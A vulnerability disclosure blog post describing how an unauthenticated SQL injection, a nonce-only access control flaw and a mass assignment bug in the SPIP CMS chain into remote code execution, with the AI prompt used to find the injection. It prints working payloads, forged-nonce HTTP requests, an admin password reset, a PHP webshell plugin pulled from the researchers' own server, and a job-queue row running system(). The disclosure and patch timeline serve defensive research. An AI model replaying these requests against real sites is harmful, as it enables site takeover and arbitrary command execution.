Introduction
SPIP is a French open-source CMS that has powered institutional, media and community websites since the early 2000s.
We found three unauthenticated vulnerabilities in it (CVE-2026-72708, CVE-2026-72709, CVE-2026-72710) that chain into remote code execution on a default install.
TL;DR
Three unauthenticated bugs in SPIP chain into remote code execution:
- SQL injection → leaks
alea_ephemere, the secret behind every action nonce - Broken access control on actions → with a forged nonce, any action runs anonymously
- Mass assignment in
editer_objet→ write any column of any table

Two independent chains follow:
- account takeover via
editer_auteur(reset the admin password, then code execution from the private area) - command execution via
editer_objet(write aspip_jobsrow, run it through the cron).
Finding the SQL injection with Opus
Adam Kues published a blog post on wp2shell, a pre-authentication WordPress remote code execution discovered with GPT5.6 Sol Ultra. Adam reused a prompt that OpenAI had published after one of its models solved the Cycle Double Cover conjecture. The prompt was generic, and he adapted it to vulnerability research.
We ran the same approach against SPIP, with Opus 4.8 and a 1M context window.
Here is the exact prompt used:
This is a test of your ability to discover zero-days. The SPIP source in this
repository has a pre-authentication SQL injection that can be exploited to read
the admin password. Find it from first principles.
Use up to 5 agents dynamically. Focus exclusively on SQL injection reachable
without authentication. Trace every user-controlled value from the moment it
enters the application until it reaches a database query, testing union-based,
error-based, boolean-based blind, time-based blind, and stacked queries. Group
agents by research idea, redirect converged agents to underexplored areas, and
use adversarial agents to double-check every finding.
- Work from the source only. Do not use changelogs, git history, or the internet
to diff this code against a patched version. Do not use the internet at all,
except to consult official language or framework documentation.
- Keep several incompatible research routes alive through multiple rounds.
Cross-pollinate ideas only after independent agents have developed them far
enough to expose their real strengths and gaps.
SPIP depends on many libraries; you may audit third_party/.
Do not stop when an approach fails. Spend at least 6 hours before giving up.
The folder structure used was as follows:
spip-ctf/
├── main/ # SPIP source
└── third_party/ # empty
We cloned the latest stable SPIP release into main/ and removed the .git directory.
A few hours later Opus came back with a pre-authentication SQL injection.

From there we found two more bugs, and together they turn an arbitrary database read into two independent full chains.
Setup
The lab runs on MySQL/MariaDB. The ipeos/spip image auto-installs SPIP with default admin credentials (admin / adminadmin), so there is no setup wizard.
docker-compose.yml:
services:
db:
image: mariadb:11.8
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=spip
- MYSQL_USER=spip
- MYSQL_PASSWORD=spip
app:
image: ipeos/spip:4.4.16
links:
- db:mysql
environment:
- SPIP_AUTO_INSTALL=1
- SPIP_DB_SERVER=mysql
- SPIP_DB_LOGIN=spip
- SPIP_DB_PASS=spip
- SPIP_DB_NAME=spip
- SPIP_SITE_ADDRESS=http://localhost:8000
ports:
- "127.0.0.1:8000:80"
Launch the lab with:
docker compose up -d
SPIP installs itself and serves on http://localhost:8000.

The lab has a published article, as the boolean-based attack requires at least one to work. The time-based attack, on the other hand, works even on an empty site.
SPIP internals
How SPIP talks to the database
SPIP ships one driver per DBMS under ecrire/req/:
req/
├── mysql.php
├── sqlite_generique.php
└── pg.exp.php
Before any value reaches a query, it goes through sql_quote(). This function figures out which driver the current connection uses and passes the value to that driver's escaper.
Source: abstract_sql.php#L2000-L2007
<?php
function sql_quote($val, $serveur = '', $type = '') {
$f = sql_serveur('quote', $serveur, true);
// ...
return $f($val, $type);
}

Two things reach the escaper:
$valis the value to escape$typeis the type of the target SQL column
How SPIP builds a public page
Each .html file at the root of squelettes-dist/ is a public page, reachable without authentication:
squelettes-dist/
├── sommaire.html -> /spip.php?page=sommaire
├── recherche.html -> /spip.php?page=recherche
└── sitemap.xml.html -> /spip.php?page=sitemap.xml
These files, called templates, are more than plain HTML. They are a mix of HTML markup, loops that query the database, criteria that filter their results, and tags that print field values.
Example:

Before loops can interact with the database, SPIP compiles the template into a cached PHP file and stores it in the tmp/cache/skel/ directory once. After that, this file is used for every subsequent visit.
Here is what a compiled criteria looks like in the cached file:
<?php
// tmp/cache/skel/html_<hash>.php
sql_quote(($Pile[0]['id_rubrique'] ?? null), '', 'bigint NOT NULL DEFAULT \'0\'')

$val is the only argument that varies and is reachable through the request. On the other hand, $serveur and $type are hard-coded into the cached PHP file at the compile time.
Our fake_template.html loop generates this:
SELECT titre FROM spip_articles WHERE id_rubrique = <value>
The value can be supplied via an HTTP request:
GET /spip.php?page=fake_template&id_rubrique=3 HTTP/1.1
Host: 127.0.0.1:8000
Which results in:
SELECT titre FROM spip_articles WHERE id_rubrique = 3
A criteria can also be marked as optional with a ?, like {id_rubrique?}.
Example:

This changes how SPIP handles missing parameters:
- Without
?, the clause is always there. If the parameter is missing, the comparison is made against an empty string,AND (articles.id_rubrique = ''), and the loop returns nothing. - With
?, the clause is dropped entirely when the parameter is missing.
For example, with an optional criteria and the parameter absent from the request:
GET /spip.php?page=fake_template HTTP/1.1
Host: 127.0.0.1:8000
Then the WHERE clause is omitted from the SQL query:
SELECT titre FROM spip_articles
The primitive: an unauthenticated SQL injection (CVE-2026-72708)
The sink: a value the escaper will not quote
Everything below is demonstrated on MySQL.
- MySQL and SQLite: same bug, injection reproduced on both.
- PostgreSQL: same bug in the escaper, in a more permissive form, but unreachable on a stock install since SPIP includes
req/pg.phpwhile the driver ships aspg.exp.php.
For MySQL, the escaper is spip_mysql_cite(). Almost every condition quotes the value, but one returns it raw:
Source: mysql.php#L1711-1745
<?php
function spip_mysql_cite($v, $type) {
if (!$type) {
return "'" . addslashes($v) . "'";
}
// ...
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v; // return unquoted
} elseif (sql_test_int($type)) {
// ...
}
return ("'" . addslashes($v) . "'");
}
The escaper leaves the value untouched when:
sql_test_date($type): the column is a date type (date,datetime,timestamp,time)preg_match('/^\w+\(/', $v): the value starts withany alphanumeric characterfollowed by(. (Example:NOW()
This exception allows template authors to write expressions such as {date < NOW()}, ensuring that NOW() is passed through to MySQL as a native function call rather than being interpreted as a string.
Example:

This results in an unquoted query:
SELECT titre FROM spip_articles WHERE articles.date < NOW()
and not:
SELECT titre FROM spip_articles WHERE articles.date < 'NOW()'
The second condition preg_match('/^\w+\(/', $v) can matches NOW(), but it can also match IF(...), YEAR(...), or any other DBMS function call.
So all we need here to reach this sink is a public loop that compares a date column against a request value.
The source: from {annee} to a date comparison
The always-present squelettes-dist/sitemap.xml.html template can filter articles by year with the parameter annee:
With a valid year, articles are returned:

With an invalid year, nothing comes back:

Take a look at this template snippet:
<?php
<!-- ... -->
<BOUCLE_a(ARTICLES){annee?}{!par date_modif}{!par date}{0,2000}>
<url>
[<loc>(#URL_ARTICLE|url_absolue)</loc>]
<BOUCLE_a_trad(ARTICLES){traduction}>
<xhtml:link rel="alternate" hreflang="[(#LANG)]" href="[(#URL_ARTICLE|url_absolue)]" />
</BOUCLE_a_trad>
[(#DATE_MODIF**|>{#GET{recent}}
|?{[<lastmod>(#DATE_MODIF**|date_iso)</lastmod>]})]
</url>
</BOUCLE_a>
<!-- ... -->
When the template is compiled, the criteria {annee?} becomes a call to sql_quote(), and the compiler decides which $type the value will be escaped with:
<?php
// tmp/cache/skel/html_<hash>.php
array('=', 'YEAR(articles.date)', sql_quote(($Pile[0]['annee'] ?? null), '','datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\''))
For this criteria the compiler picked datetime, the type of the articles.date column.
So the first condition is already satisfied before we send anything at all:
<?php
sql_test_date("datetime NOT NULL DEFAULT '0000-00-00 00:00:00'") // return true
The second-stage filter must conform to a function-call syntax pattern (/^\w+\(/).
Our payload satisfies this condition:
<?php
preg_match('/^\w+\(/', "IF(1,SLEEP(5),0)") // return true
Consequently, the unsanitized value is embedded directly into the final query:
SELECT ... WHERE ... AND (YEAR(articles.date) = IF(1,SLEEP(5),0)) ...

A SLEEP(5) is enough to prove it:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0) HTTP/1.1
Host: 127.0.0.1:8000

Any public loop comparing a date column against a request value is injectable the same way.
sitemap.xml?annee=is just the cleanest instance that ships in core.
Reading the site secret: alea_ephemere
The secret we want is alea_ephemere, a random value kept in spip_meta table. It is the key behind every SPIP action nonce.

Actions verify a nonce, not authorization (CVE-2026-72709)
How actions work
Whether you delete a section, edit an account, or uninstall a plugin, each one is an action.
SPIP's core actions are PHP files located in ecrire/action/, each accessible over HTTP:
ecrire/action/
├── editer_auteur.php -> /spip.php?action=editer_auteur
├── supprimer_rubrique.php -> /spip.php?action=supprimer_rubrique
├── logout.php -> /spip.php?action=logout
└── desinstaller_plugin.php -> /spip.php?action=desinstaller_plugin
The three-step pattern
Each action follows a three-step pattern:
- Nonce verification - via
securiser_action()to ensure the request is authentic (CSRF protection) - Permission check - via
autoriser()to check that the caller is authorized to perform the action - Execution - do the work (delete, update, etc.)
In practice, step 2 is optional. Some actions like logout, cookie and session are public by design and need no permission check. However, other actions perform sensitive operations and rely only on the Nonce verification step.
A deliberate design choice
Action supprimer_rubrique is a perfect example.
Source: supprimer_rubrique.php#L30-38
<?php
// ecrire/action/supprimer_rubrique.php
// step 1: verify the nonce with securiser_action()
$id_rubrique = $securiser_action();
// step 2: check the caller is authorized with autoriser()
// ... (no permission check here)
// step 3: do the work
if (intval($id_rubrique)) {
sql_delete('spip_rubriques', 'id_rubrique=' . intval($id_rubrique));
}
Omitting autoriser() is deliberate. The official SPIP documentation explains that authorization is meant to be enforced at the template level, before the action link is even displayed:
Some actions also verify that the author is actually approved to execute that action (but in general, this authorisation has already been confirmed before: the link that fires the action will not normally be visible if the author does not have the appropriate rights).
The hidden assumption
In the private area, a delete link only appears if the template includes a condition like this:
<!-- prive/objets/infos/rubrique.html:27 -->
[(#AUTORISER{supprimer,rubrique,#ID_RUBRIQUE}|oui)
[(#URL_ACTION_AUTEUR{supprimer_rubrique,#ID_RUBRIQUE,...})]
]
If the user lacks the required rights, the link is simply never generated. The security model here rests on a single assumption: only legitimate users can see and click the link.
The bypass
This approach works as long as users go through the web interface. But nothing prevents us from crafting a raw HTTP request that calls the action directly.
When that happens, the template is completely bypassed:
- The
#AUTORISERguard is never evaluated - The action PHP file has no
autoriser()check of its own - The only remaining barrier is the CSRF nonce
If we can obtain that nonce, we can execute any sensitive action without any permission check.
Forging a nonce with the leaked secret
Now that we understand the broken access control, the next question is: How do we get a valid nonce?
An action is invoked as: /spip.php?action=<name>&arg=<id>&hash=<nonce>
That hash is an HMAC tag over the action and the caller, keyed by the alea:
Source: securiser_action.php#L241
<?php
// ecrire/inc/securiser_action.php
function _action_auteur(string $action, int $id_auteur, ?string $pass, string $alea): string {
// ...
$sha[$entry] = hash_hmac('sha256', "$action::$id_auteur", "$pass::" . _action_get_alea($alea));
}
Example:
For action=editer_auteur&arg=1, the payload becomes editer_auteur-1::0.

Here:
editer_auteuris the action1is the target user id (SPIP admin)- the trailing
0is us, the anonymous caller - and our password is empty, since we are not logged in
so it collapses to:
<?php
$hash = hash_hmac('sha256', "editer_auteur-1::0", "::" . _action_get_alea($alea));
At this point, the only unknown is $alea, which the SQL injection just handed to us.
We can now compute a valid nonce for any action as the anonymous user:
<?php
// a valid nonce for editer_auteur
$forge = hash_hmac('sha256', "editer_auteur-1::0", "::" . "709b20c8ca791ae5469523c00cf2d9a5");
// nonce = 5826b40b0fbeee588f97cc88bc71b242ad474c513ab3f02d2fad3928d04eb573
A wrong hash returns 403, a forged one 204:


We can now run any action as an anonymous visitor. And that's where things get interesting, because two specific actions give us everything we need to reach remote code execution.
Full chain 1: Administrator account takeover leading to remote code execution
Resetting the administrator password
action=editer_auteur is the action that edits an author account. Following the code down, auteur_instituer() collects the request fields and decides what to write:
Source: editer_auteur.php#L320-407
<?php
// ecrire/action/editer_auteur.php
function auteur_instituer($id_auteur, $c) {
// ...
if (isset($c['pass']) && strlen($c['pass']))
$champs['pass'] = $c['pass']; // set, with NO autoriser()
// ...
if (isset($c['statut']) && autoriser('modifier','auteur',$id,['statut'=>...]))
$champs['statut'] = $c['statut']; // guarded
// ...
if (isset($c['webmestre']) && autoriser('modifier','auteur',$id,['webmestre'=>'?']))
$champs['webmestre'] = ...; // guarded
// ...
if (!auth_modifier_pass($auth_methode, $champs['login'], $champs['pass'], $id_auteur)) { // :407 Update the pass to db
}
The code reveals an interesting asymmetry:
- Want to change a user's
statut? →autoriser()required. - Want to change
webmestre? →autoriser()required. - Want to change the
passwordof any account ? No check.

With a single forged-nonce request, we can rewrite the administrator's password:
POST /spip.php?action=editer_auteur HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
arg=1&hash=5826b40b0fbeee588f97cc88bc71b242ad474c513ab3f02d2fad3928d04eb573&new_pass=casse-spip
arg=1 targets the default administrator account.

The new password grants access to the portal:


From administrator to code execution
Nothing past this point is a vulnerability. Turning admin access into code execution is a documented feature of SPIP. We only walk through it to prove the chain really ends in remote code execution.
A plugin is just PHP code that SPIP executes. Once activated, SPIP automatically includes its _options.php file on every request.
For a plugin named ambionics, the structure looks like this:
ambionics/
├── paquet.xml -> plugin manifest
└── ambionics_options.php -> included on every request
We turn ambionics_options.php into a simple webshell:
<?php
if (!defined('_ECRIRE_INC_VERSION')) return;
if (isset($_GET['cmd'])) { system($_GET['cmd']); die; }
We zip the plugin, host it on our own HTTP server, and point SPIP's plugin manager at the archive URL.
The installation form asks for the admin password (the one we just reset):
POST /ecrire/?exec=charger_plugin HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 390
User-Agent: ambionics
Content-Type: application/x-www-form-urlencoded
Cookie: spip_session=1_7187154b7154f1f77897f593769fd7a5; spip_admin=%40admin%40spip; spip_accepte_ajax=1
var_ajax=form&exec=charger_plugin&formulaire_action=charger_plugin_archive&formulaire_action_args=...&formulaire_action_sign=...&password=casse-spip&archive=http://172.17.0.1:8181/ambionics.zip&destination=

Then we enable the plugin.
POST /ecrire/?exec=admin_plugin&voir=inactif HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 397
User-Agent: ambionics
Content-Type: application/x-www-form-urlencoded
Cookie: spip_admin=%40admin%40spip; spip_accepte_ajax=1; spip_session=1_4162497a994f22cb164731436547c2c8
var_ajax=form&_todo=&exec=admin_plugin&voir=inactif&formulaire_action=admin_plugin&formulaire_action_args=...&formulaire_action_sign=...&ids_paquet%5B%5D=23&actions%5Bon%5D%5B23%5D=Enable&action_globale=on

From then ambionics_options.php is loaded:

The chain, end to end
(1) POST /spip.php?page=sitemap&annee=IF(1,SLEEP(5),0) # SQL injection → leak alea_ephemere
(2) POST /spip.php?action=editer_auteur # Forge nonce, reset admin password
(3) Log in as admin # Account takeover
(4) Upload malicious plugin # Install from archive
(5) Enable the plugin # Enable it
(6) GET /spip.php?cmd=id # Remote code execution
Why we did not stop here
The chain works, but it makes a poor exploit. So we kept looking, and found a second chain.
This chain needs no password reset. No admin login.
Just four unauthenticated requests and a direct path to remote command execution.
Full chain 2: command execution with no privileged role
This chain forges a nonce the same way as chain 1, from the same leaked secret, but points it at a different action: editer_objet.
The goal here is to write a row into the spip_jobs queue, then make it run.
The sink: unserialize() then a dynamic call
SPIP handles background tasks through a job queue stored in the spip_jobs table. Each row contains two interesting columns:
fonction→ a PHP callableargs→ its serialized arguments

Jobs are normally created by SPIP's internal code, never from user input.
When the queue runs, PHP reads a row, unserializes its arguments, and calls the function:
Source: queue.php#L234-262
<?php
// ecrire/inc/queue.php
$args = unserialize($row['args']);
// ...
$fonction = $row['fonction'];
// ...
$res = $fonction(...$args);
If we can set fonction=system and args=a:1:{i:0;s:2:"id";}, running that job will execute system("id").
The source: editer_objet writes any column of any object (CVE-2026-72710)
action=editer_objet is a generic editor for editorial objects: articles, sections, authors.
When we edit an article, the request looks like this:
POST /spip.php?action=editer_objet&arg=article/12 HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: ambionics
Content-Type: application/x-www-form-urlencoded
titre=Casse-Spip
The arg parameter follows the pattern objet/id:
arg=article/12→ updates article 12arg=article/0→ creates a new one (ID 0 = insert)
Under the hood, arg is used for two things:
- identifies the target table
- determines whether we insert or update a row
Targeting spip_jobs
The value article/12 is split into $objet and $id:
Source: editer_objet.php#L41
<?php
// ecrire/action/editer_objet.php
[$objet, $id] = array_pad(explode('/', $arg, 2), 2, null); // 'article/12' -> objet='article', id='12'
Then $objet is resolved to a real table name by table_objet_sql(), which works in two steps:
- if the name is a known editorial object, it uses the
table_des_tablesmapping - otherwise, it falls back to a lookup that accepts any real SQL table
Source: objets.php#L1074-L1103
<?php
// ecrire/base/objets.php
function table_objet_sql(string $type, $serveur = ''): string {
$nom = table_objet($type, $serveur); // 'article' -> 'articles'
// ...
if (isset($GLOBALS['table_des_tables'][$nom])) {
$nom = $GLOBALS['table_des_tables'][$nom];
$nom = "spip_$nom"; // 'articles' -> 'spip_articles'
} else {
$infos_tables = lister_tables_objets_sql();
if (isset($infos_tables["spip_$nom"])) {
$nom = "spip_$nom";
} elseif ($serveur !== false) {
// ...
$trouver_table = charger_fonction('trouver_table', 'base');
if ($desc = $trouver_table($nom, $serveur)) {
return $desc['table_sql']; // any other real table lands here
}
}
}
return $nom;
}
That fallback is the problem. Nothing checks that the name is editorial. If we send job instead of article, the real spip_jobs table is returned:
article → spip_articles (an editorial object)
job → spip_jobs (the internal job queue)
Any name matching a table is accepted, editorial or not.
$id decides what happens to the row:
Source: editer_objet.php#L53-64
<?php
// ecrire/action/editer_objet.php
if (!$id = intval($id)) {
$id = objet_inserer($objet, $id_parent); // id 0: create a new, empty row
}
// ...
$err = objet_modifier($objet, $id, $set); // then fill its fields (runs every time)
So with arg=job/0, objet_inserer() creates a new empty row in spip_jobs, and objet_modifier() fills it right after.
spip_jobs is a table no editor was ever meant to write to, but two bugs, chained together, let us write to it anyway: first reaching the action, then controlling what it writes.
The missing authorization
The entry point relies only on the Nonce verification step:
Source: editer_objet.php#L37-66
<?php
// ecrire/action/editer_objet.php
// step 1: verify the nonce with securiser_action()
$arg = $securiser_action();
// step 2: check the caller is authorized with autoriser()
// ... (no permission check here)
// step 3: do the work
if (!$id = intval($id)) {
$id = objet_inserer($objet, $id_parent); // id 0 -> insert a new row
}
$err = objet_modifier($objet, $id, $set); // write the fields
We forge the nonce with the leaked secret:
<?php
// a valid nonce for editer_objet
$forge = hash_hmac('sha256', "editer_objet-job/0::0", "::" . "709b20c8ca791ae5469523c00cf2d9a5");
// nonce = 6cbe4bfb0622dbd33111d3eec377782f891ab1e54b4489fd74c763d810176f55
And we can reach the action:

The mass assignment
The row objet_inserer() created is empty. objet_modifier() now fills it, and this is where the mass assignment happens: it writes every column of the table straight from the request, unless the object declares a champs_editables allowlist.
That allowlist is something each editorial object declares in its own definition, to say which of its fields a form may write.
For example spip_articles allows only its content fields:
Source: objets.php#L102-L113
<?php
// ecrire/base/objets.php
'champs_editables' => [
'surtitre', 'titre', 'soustitre', 'descriptif',
'nom_site', 'url_site', 'chapo', 'texte', 'ps', 'virtuel',
],
spip_jobs declares no champs_editables because it's not an editorial object. So objet_modifier() builds its write list from every column of the table, minus the primary key:
Source: editer_objet.php#L123-163
<?php
// ecrire/action/editer_objet.php
$include_list = array_keys($desc['field']); // default: every column
$include_list = array_diff($include_list, [$desc['key']['PRIMARY KEY']]);
if (isset($desc['champs_editables']) and is_array($desc['champs_editables'])) {
$include_list = $desc['champs_editables']; // narrow to the allowlist, if declared
} // spip_jobs: not declared -> stays every column
$c = collecter_requests($include_list, [$champ_date,'statut','id_parent','id_secteur'], $set);
// ...
$err = objet_modifier_champs($objet, $id, [...], $c); // writes $c straight to the row
That list, every column of spip_jobs, is handed to collecter_requests(). On a URL call $set is null, so it fills each column from the HTTP request:
Source: modifier.php#L40-L47
<?php
// ecrire/inc/modifier.php
$c = $set;
if (!$c) { // $set is null on a URL call
foreach ($include_list as $champ) {
$c[$champ] = _request($champ); // every column, read from the request
}
}
We plant the job with:
fonction→systemargs→["id > /var/www/html/IMG/ambionics 2>&1"]
POST /spip.php?action=editer_objet HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
arg=job/0&hash=6cbe4bfb0622dbd33111d3eec377782f891ab1e54b4489fd74c763d810176f55&fonction=system&args=a:1:{i:0;s:37:"id > /var/www/html/IMG/ambionics 2>&1";}


Running the job
Nothing here is a bug: cron and syndiquer_site are normal SPIP actions we use to run our job.
A row in spip_jobs is not a running job. Something has to drain the queue, and that is done by the cron action.
cron doesn't scan spip_jobs every time. First, it reads a cached timestamp from the file tmp/job_queue_next.txt to know when the next job is due. If that time is still in the future, cron exits immediately without touching the table.
Source: queue.php#L300-343
<?php
// ecrire/inc/queue.php
if (queue_sleep_time_to_next_job() > 0) return; // cache in the future -> never reads spip_jobs
// ...
sql_allfetsel('*', 'spip_jobs', 'status=1 AND date<=' . sql_quote($now)); // else: drain
tmp/job_queue_next.txt is only refreshed by SPIP's job API, and editer_objet never calls it, so calling cron directly would skip our row.
To force the refresh, we use syndiquer_site, a public action that makes SPIP's job API recompute the cache from the queue. Our row is the earliest one due, so the cache now points to it:
POST /spip.php?action=syndiquer_site HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: ambionics
Content-Type: application/x-www-form-urlencoded
arg=1&hash=68ee784578887e2d79d778d110f9b6e77141dc6b3427c81fe58584911e1aa975
Then we drain the queue:
GET /spip.php?action=cron HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: ambionics
And we get our result:

A full exploit script is now available on GitHub.
The chain, end to end
(1) POST sitemap.xml&annee=IF(1,SLEEP(5),0) # SQL injection → leak alea_ephemere
(2) POST action=editer_objet arg=job/0 # Broken access control + mass assignment → insert our payload
(3) POST action=syndiquer_site # Refresh the cron cache
(4) GET action=cron # Execute the queue → RCE

No account was touched, no session was created, and no privileged role was needed at any point.
Affected versions
Every SPIP release before 4.4.18 is vulnerable.
Conclusion
Three independent vulnerabilities chain into a pre-authentication remote code execution. The SQL injection can only read, but what it reads is alea_ephemere, the secret SPIP uses to sign its actions. With that one key, we sign actions as if they came from SPIP's own forms and run them without any authorization check, which opens two paths to code execution: reset the administrator password and install a backdoored plugin, or plant a row in spip_jobs that the cron turns into a PHP call.
Timeline
- [2026/07/29]: Ambionics reported the vulnerabilities to SPIP by email.
- [2026/07/30]: Ambionics requested CVE identifiers from VulnCheck.
- [2026/08/05]: SPIP proposed a first patch, which was incomplete.
- [2026/08/06]: Ambionics requested an additional fix.
- [2026/08/10]: SPIP released a complete fix in version 4.4.18.
- [2026/09/11]: VulnCheck assigned CVE-2026-72708, CVE-2026-72709 and CVE-2026-72710.
- [2026/09/16]: Ambionics team released this blog post.
We're hiring!
Ambionics is an entity of Lexfo, and we're hiring! To learn more about job opportunities, do not hesitate to contact us at rh@lexfo.fr. We're a french-speaking company, so we expect candidates to be fluent in our beautiful language.